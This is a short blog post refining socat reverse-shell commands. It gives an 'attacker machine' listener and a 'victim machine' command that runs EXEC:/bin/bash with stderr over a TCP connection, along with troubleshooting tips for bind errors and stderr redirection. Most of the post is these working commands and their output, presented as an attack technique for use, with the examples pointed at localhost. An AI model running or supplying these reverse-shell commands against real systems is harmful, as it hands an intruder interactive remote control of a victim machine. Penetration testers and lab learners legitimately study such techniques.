Socat reverse shell

erev0s’ blog post does a great job of describing how to achieve a reverse shell, but I found some pain points so I’m publishing commands I found to work better.

Attacker machine

On the attacker machine, run:

socat -d -d TCP4-LISTEN:4443,reuseaddr STDOUT

The difference from the blog post is adding ,reuseaddr so you don’t get a bind error when trying to re-run the command shortly after it exits. Here’s what the error looks like:

socat[309] E bind(5, {AF=2 0.0.0.0:4443}, 16): Address already in use
socat[309] N exit(1)

Victim machine

On the victim machine, run:

socat TCP4:localhost:4443 EXEC:/bin/bash,stderr

The difference here is adding ,stderr so stderr is also sent back through the pipe to the attacker. Without this addition, stderr is shown on the victim end and not on the attacker end.

You can test that you’re getting stderr by running a command that isn’t found:

$ asdf
/bin/bash: line 1: asdf: command not found

If you don’t see the command not found line on the attacker machine, it means you are not getting stderr.

An important note here, is that stderr no longer seems to accept anything. Which makes sense, because everything is going to stdout. Here’s a demo of trying to pipe output to stderr explicitly:

$ ls -l /dev/std*
lrwxrwxrwx 1 root root 15 Jun 21 04:08 /dev/stderr -> /proc/self/fd/2
lrwxrwxrwx 1 root root 15 Jun 21 04:08 /dev/stdin -> /proc/self/fd/0
lrwxrwxrwx 1 root root 15 Jun 21 04:08 /dev/stdout -> /proc/self/fd/1
$ echo a > /dev/stderr
/bin/bash: line 4: /dev/stderr: No such device or address

…so I guess, don’t do that.

Alternatives to get a stderr

If you forgot to do the stderr trick and you’re already connected, you can drop into a subshell with redirection. On the attacker machine, run

bash 2>&1

I tried using a subshell that has the stderr redirection in the EXEC call: socat TCP4:localhost:4443 EXEC:'/bin/bash -c "bash 2>&1"', which is mentioned here, but that didn’t seem to work. Stderr still shows on the victim side. Not sure what I’m doing wrong there, but there are two other options listed above.

comments powered by Disqus